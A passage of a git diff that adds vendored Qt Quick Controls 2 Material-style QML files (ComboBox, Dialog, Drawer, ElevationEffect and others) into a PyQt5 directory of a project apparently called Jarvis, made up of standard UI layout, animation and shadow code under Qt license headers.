(parent.width - width) / 2 + y: (parent.height - height) / 2 + width: 12 + height: 3 + + scale: indicatorItem.checkState === Qt.PartiallyChecked ? 1 : 0 + Behavior on scale { NumberAnimation { duration: 100 } } + } + + states: [ + State { + name: "checked" + when: indicatorItem.checkState === Qt.Checked + }, + State { + name: "partiallychecked" + when: indicatorItem.checkState === Qt.PartiallyChecked + } + ] + + transitions: Transition { + SequentialAnimation { + NumberAnimation { + target: indicatorItem + property: "scale" + // Go down 2 pixels in size. + to: 1 - 2 / indicatorItem.width + duration: 120 + } + NumberAnimation { + target: indicatorItem + property: "scale" + to: 1 + duration: 120 + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ComboBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ComboBox.qml new file mode 100644 index 00000000..a9bdd934 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ComboBox.qml @@ -0,0 +1,180 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Window 2.15 +import QtQuick.Controls 2.15 +import QtQuick.Controls.impl 2.15 +import QtQuick.Templates 2.15 as T +import QtQuick.Controls.Material 2.15 +import QtQuick.Controls.Material.impl 2.15 + +T.ComboBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + topInset: 6 + bottomInset: 6 + + leftPadding: padding + (!control.mirrored || !indicator || !indicator.visible ? 0 : indicator.width + spacing) + rightPadding: padding + (control.mirrored || !indicator || !indicator.visible ? 0 : indicator.width + spacing) + + Material.elevation: flat ? control.pressed || control.hovered ? 2 : 0 + : control.pressed ? 8 : 2 + Material.background: flat ? "transparent" : undefined + Material.foreground: flat ? undefined : Material.primaryTextColor + + delegate: MenuItem { + width: ListView.view.width + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] : model[control.textRole]) : modelData + Material.foreground: control.currentIndex === index ? ListView.view.contentItem.Material.accent : ListView.view.contentItem.Material.foreground + highlighted: control.highlightedIndex === index + hoverEnabled: control.hoverEnabled + } + + indicator: ColorImage { + x: control.mirrored ? control.padding : control.width - width - control.padding + y: control.topPadding + (control.availableHeight - height) / 2 + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/Material/images/drop-indicator.png" + } + + contentItem: T.TextField { + padding: 6 + leftPadding: control.editable ? 2 : control.mirrored ? 0 : 12 + rightPadding: control.editable ? 2 : control.mirrored ? 12 : 0 + + text: control.editable ? control.editText : control.displayText + + enabled: control.editable + autoScroll: control.editable + readOnly: control.down + inputMethodHints: control.inputMethodHints + validator: control.validator + selectByMouse: control.selectTextByMouse + + font: control.font + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + selectionColor: control.Material.accentColor + selectedTextColor: control.Material.primaryHighlightedTextColor + verticalAlignment: Text.AlignVCenter + + cursorDelegate: CursorDelegate { } + } + + background: Rectangle { + implicitWidth: 120 + implicitHeight: control.Material.buttonHeight + + radius: control.flat ? 0 : 2 + color: !control.editable ? control.Material.dialogColor : "transparent" + + layer.enabled: control.enabled && !control.editable && control.Material.background.a > 0 + layer.effect: ElevationEffect { + elevation: control.Material.elevation + } + + Rectangle { + visible: control.editable + y: parent.y + control.baselineOffset + width: parent.width + height: control.activeFocus ? 2 : 1 + color: control.editable && control.activeFocus ? control.Material.accentColor : control.Material.hintTextColor + } + + Ripple { + clip: control.flat + clipRadius: control.flat ? 0 : 2 + x: control.editable && control.indicator ? control.indicator.x : 0 + width: control.editable && control.indicator ? control.indicator.width : parent.width + height: parent.height + pressed: control.pressed + anchor: control.editable && control.indicator ? control.indicator : control + active: control.pressed || control.visualFocus || control.hovered + color: control.Material.rippleColor + } + } + + popup: T.Popup { + y: control.editable ? control.height - 5 : 0 + width: control.width + height: Math.min(contentItem.implicitHeight, control.Window.height - topMargin - bottomMargin) + transformOrigin: Item.Top + topMargin: 12 + bottomMargin: 12 + + Material.theme: control.Material.theme + Material.accent: control.Material.accent + Material.primary: control.Material.primary + + enter: Transition { + // grow_fade_in + NumberAnimation { property: "scale"; from: 0.9; to: 1.0; easing.type: Easing.OutQuint; duration: 220 } + NumberAnimation { property: "opacity"; from: 0.0; to: 1.0; easing.type: Easing.OutCubic; duration: 150 } + } + + exit: Transition { + // shrink_fade_out + NumberAnimation { property: "scale"; from: 1.0; to: 0.9; easing.type: Easing.OutQuint; duration: 220 } + NumberAnimation { property: "opacity"; from: 1.0; to: 0.0; easing.type: Easing.OutCubic; duration: 150 } + } + + contentItem: ListView { + clip: true + implicitHeight: contentHeight + model: control.delegateModel + currentIndex: control.highlightedIndex + highlightMoveDuration: 0 + + T.ScrollIndicator.vertical: ScrollIndicator { } + } + + background: Rectangle { + radius: 2 + color: parent.Material.dialogColor + + layer.enabled: control.enabled + layer.effect: ElevationEffect { + elevation: 8 + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/CursorDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/CursorDelegate.qml new file mode 100644 index 00000000..fe2d25c6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/CursorDelegate.qml @@ -0,0 +1,65 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls.Material 2.12 + +Rectangle { + id: cursor + + color: parent.Material.accentColor + width: 2 + visible: parent.activeFocus && !parent.readOnly && parent.selectionStart === parent.selectionEnd + + Connections { + target: cursor.parent + function onCursorPositionChanged() { + // keep a moving cursor visible + cursor.opacity = 1 + timer.restart() + } + } + + Timer { + id: timer + running: cursor.parent.activeFocus && !cursor.parent.readOnly && interval != 0 + repeat: true + interval: Qt.styleHints.cursorFlashTime / 2 + onTriggered: cursor.opacity = !cursor.opacity ? 1 : 0 + // force the cursor visible when gaining focus + onRunningChanged: cursor.opacity = 1 + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/DelayButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/DelayButton.qml new file mode 100644 index 00000000..6b5ef3ad --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/DelayButton.qml @@ -0,0 +1,117 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.DelayButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + topInset: 6 + bottomInset: 6 + padding: 12 + horizontalPadding: padding - 4 + + Material.elevation: control.down ? 8 : 2 + + transition: Transition { + NumberAnimation { + duration: control.delay * (control.pressed ? 1.0 - control.progress : 0.3 * control.progress) + } + } + + contentItem: Text { + text: control.text + font: control.font + color: !control.enabled ? control.Material.hintTextColor : control.Material.foreground + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + elide: Text.ElideRight + } + + // TODO: Add a proper ripple/ink effect for mouse/touch input and focus state + background: Rectangle { + implicitWidth: 64 + implicitHeight: control.Material.buttonHeight + + radius: 2 + color: !control.enabled ? control.Material.buttonDisabledColor : control.Material.buttonColor + + PaddedRectangle { + y: parent.height - 4 + width: parent.width + height: 4 + radius: 2 + topPadding: -2 + clip: true + color: control.checked && control.enabled ? control.Material.accentColor : control.Material.secondaryTextColor + + PaddedRectangle { + width: parent.width * control.progress + height: 4 + radius: 2 + topPadding: -2 + rightPadding: Math.max(-2, width - parent.width) + clip: true + color: control.Material.accentColor + } + } + + layer.enabled: control.enabled && control.Material.buttonColor.a > 0 + layer.effect: ElevationEffect { + elevation: control.Material.elevation + } + + Ripple { + clipRadius: 2 + width: parent.width + height: parent.height + pressed: control.pressed + anchor: control + active: control.down || control.visualFocus || control.hovered + color: control.Material.rippleColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Dial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Dial.qml new file mode 100644 index 00000000..1f80a7fe --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Dial.qml @@ -0,0 +1,85 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.Dial { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) || 100 // ### remove 100 in Qt 6 + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) || 100 // ### remove 100 in Qt 6 + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 100 + + x: control.width / 2 - width / 2 + y: control.height / 2 - height / 2 + width: Math.max(64, Math.min(control.width, control.height)) + height: width + color: "transparent" + radius: width / 2 + + border.color: control.enabled ? control.Material.accentColor : control.Material.hintTextColor + } + + handle: SliderHandle { + x: control.background.x + control.background.width / 2 - control.handle.width / 2 + y: control.background.y + control.background.height / 2 - control.handle.height / 2 + transform: [ + Translate { + y: -control.background.height * 0.4 + control.handle.height / 2 + }, + Rotation { + angle: control.angle + origin.x: control.handle.width / 2 + origin.y: control.handle.height / 2 + } + ] + implicitWidth: 10 + implicitHeight: 10 + + value: control.value + handleHasFocus: control.visualFocus + handlePressed: control.pressed + handleHovered: control.hovered + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Dialog.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Dialog.qml new file mode 100644 index 00000000..364c0e57 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Dialog.qml @@ -0,0 +1,113 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.Dialog { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitHeaderWidth, + implicitFooterWidth) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding + + (implicitHeaderHeight > 0 ? implicitHeaderHeight + spacing : 0) + + (implicitFooterHeight > 0 ? implicitFooterHeight + spacing : 0)) + + padding: 24 + topPadding: 20 + + Material.elevation: 24 + + enter: Transition { + // grow_fade_in + NumberAnimation { property: "scale"; from: 0.9; to: 1.0; easing.type: Easing.OutQuint; duration: 220 } + NumberAnimation { property: "opacity"; from: 0.0; to: 1.0; easing.type: Easing.OutCubic; duration: 150 } + } + + exit: Transition { + // shrink_fade_out + NumberAnimation { property: "scale"; from: 1.0; to: 0.9; easing.type: Easing.OutQuint; duration: 220 } + NumberAnimation { property: "opacity"; from: 1.0; to: 0.0; easing.type: Easing.OutCubic; duration: 150 } + } + + background: Rectangle { + radius: 2 + color: control.Material.dialogColor + + layer.enabled: control.Material.elevation > 0 + layer.effect: ElevationEffect { + elevation: control.Material.elevation + } + } + + header: Label { + text: control.title + visible: control.title + elide: Label.ElideRight + padding: 24 + bottomPadding: 0 + // TODO: QPlatformTheme::TitleBarFont + font.bold: true + font.pixelSize: 16 + background: PaddedRectangle { + radius: 2 + color: control.Material.dialogColor + bottomPadding: -2 + clip: true + } + } + + footer: DialogButtonBox { + visible: count > 0 + } + + T.Overlay.modal: Rectangle { + color: control.Material.backgroundDimColor + Behavior on opacity { NumberAnimation { duration: 150 } } + } + + T.Overlay.modeless: Rectangle { + color: control.Material.backgroundDimColor + Behavior on opacity { NumberAnimation { duration: 150 } } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/DialogButtonBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/DialogButtonBox.qml new file mode 100644 index 00000000..c53b8210 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/DialogButtonBox.qml @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.DialogButtonBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + spacing: 8 + padding: 8 + verticalPadding: 2 + alignment: Qt.AlignRight + buttonLayout: T.DialogButtonBox.AndroidLayout + + Material.foreground: Material.accent + + delegate: Button { flat: true } + + contentItem: ListView { + model: control.contentModel + spacing: control.spacing + orientation: ListView.Horizontal + boundsBehavior: Flickable.StopAtBounds + snapMode: ListView.SnapToItem + } + + background: PaddedRectangle { + implicitHeight: control.Material.dialogButtonBoxHeight + radius: 2 + color: control.Material.dialogColor + // Rounded corners should be only at the top or at the bottom + topPadding: control.position === T.DialogButtonBox.Footer ? -2 : 0 + bottomPadding: control.position === T.DialogButtonBox.Header ? -2 : 0 + clip: true + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Drawer.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Drawer.qml new file mode 100644 index 00000000..3d64cdef --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Drawer.qml @@ -0,0 +1,91 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.Drawer { + id: control + + parent: T.Overlay.overlay + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topPadding: !dim && edge === Qt.BottomEdge && Material.elevation === 0 + leftPadding: !dim && edge === Qt.RightEdge && Material.elevation === 0 + rightPadding: !dim && edge === Qt.LeftEdge && Material.elevation === 0 + bottomPadding: !dim && edge === Qt.TopEdge && Material.elevation === 0 + + enter: Transition { SmoothedAnimation { velocity: 5 } } + exit: Transition { SmoothedAnimation { velocity: 5 } } + + Material.elevation: !interactive && !dim ? 0 : 16 + + background: Rectangle { + color: control.Material.dialogColor + + Rectangle { + readonly property bool horizontal: control.edge === Qt.LeftEdge || control.edge === Qt.RightEdge + width: horizontal ? 1 : parent.width + height: horizontal ? parent.height : 1 + color: control.Material.dividerColor + x: control.edge === Qt.LeftEdge ? parent.width - 1 : 0 + y: control.edge === Qt.TopEdge ? parent.height - 1 : 0 + visible: !control.dim && control.Material.elevation === 0 + } + + layer.enabled: control.position > 0 + layer.effect: ElevationEffect { + elevation: control.Material.elevation + fullHeight: true + } + } + + T.Overlay.modal: Rectangle { + color: control.Material.backgroundDimColor + Behavior on opacity { NumberAnimation { duration: 150 } } + } + + T.Overlay.modeless: Rectangle { + color: control.Material.backgroundDimColor + Behavior on opacity { NumberAnimation { duration: 150 } } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ElevationEffect.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ElevationEffect.qml new file mode 100644 index 00000000..73a2a238 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ElevationEffect.qml @@ -0,0 +1,279 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +/* + An effect for standard Material Design elevation shadows. Useful for using as \c layer.effect. + */ +Item { + id: effect + + /* + The source the effect is applied to. + */ + property var source + + /* + The elevation of the \l source Item. + */ + property int elevation: 0 + + /* + Set to \c true if the \l source Item is the same width as its parent and the shadow + should be full width instead of rounding around the corner of the Item. + + \sa fullHeight + */ + property bool fullWidth: false + + /* + Set to \c true if the \l source Item is the same height as its parent and the shadow + should be full height instead of rounding around the corner of the Item. + + \sa fullWidth + */ + property bool fullHeight: false + + /* + \internal + + The actual source Item the effect is applied to. + */ + readonly property Item sourceItem: source.sourceItem + + /* + * The following shadow values are taken from Angular Material + * + * The MIT License (MIT) + * + * Copyright (c) 2014-2016 Google, Inc. http://angularjs.org + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ + /* + \internal + + The shadows to use for each possible elevation. There are three shadows that when combined + make up the elevation. + */ + readonly property var _shadows: [ + [{offset: 0, blur: 0, spread: 0}, + {offset: 0, blur: 0, spread: 0}, + {offset: 0, blur: 0, spread: 0}], + + [{offset: 1, blur: 3, spread: 0}, + {offset: 1, blur: 1, spread: 0}, + {offset: 2, blur: 1, spread: -1}], + + [{offset: 1, blur: 5, spread: 0}, + {offset: 2, blur: 2, spread: 0}, + {offset: 3, blur: 1, spread: -2}], + + [{offset: 1, blur: 8, spread: 0}, + {offset: 3, blur: 4, spread: 0}, + {offset: 3, blur: 3, spread: -2}], + + [{offset: 2, blur: 4, spread: -1}, + {offset: 4, blur: 5, spread: 0}, + {offset: 1, blur: 10, spread: 0}], + + [{offset: 3, blur: 5, spread: -1}, + {offset: 5, blur: 8, spread: 0}, + {offset: 1, blur: 14, spread: 0}], + + [{offset: 3, blur: 5, spread: -1}, + {offset: 6, blur: 10, spread: 0}, + {offset: 1, blur: 18, spread: 0}], + + [{offset: 4, blur: 5, spread: -2}, + {offset: 7, blur: 10, spread: 1}, + {offset: 2, blur: 16, spread: 1}], + + [{offset: 5, blur: 5, spread: -3}, + {offset: 8, blur: 10, spread: 1}, + {offset: 3, blur: 14, spread: 2}], + + [{offset: 5, blur: 6, spread: -3}, + {offset: 9, blur: 12, spread: 1}, + {offset: 3, blur: 16, spread: 2}], + + [{offset: 6, blur: 6, spread: -3}, + {offset: 10, blur: 14, spread: 1}, + {offset: 4, blur: 18, spread: 3}], + + [{offset: 6, blur: 7, spread: -4}, + {offset: 11, blur: 15, spread: 1}, + {offset: 4, blur: 20, spread: 3}], + + [{offset: 7, blur: 8, spread: -4}, + {offset: 12, blur: 17, spread: 2}, + {offset: 5, blur: 22, spread: 4}], + + [{offset: 7, blur: 8, spread: -4}, + {offset: 13, blur: 19, spread: 2}, + {offset: 5, blur: 24, 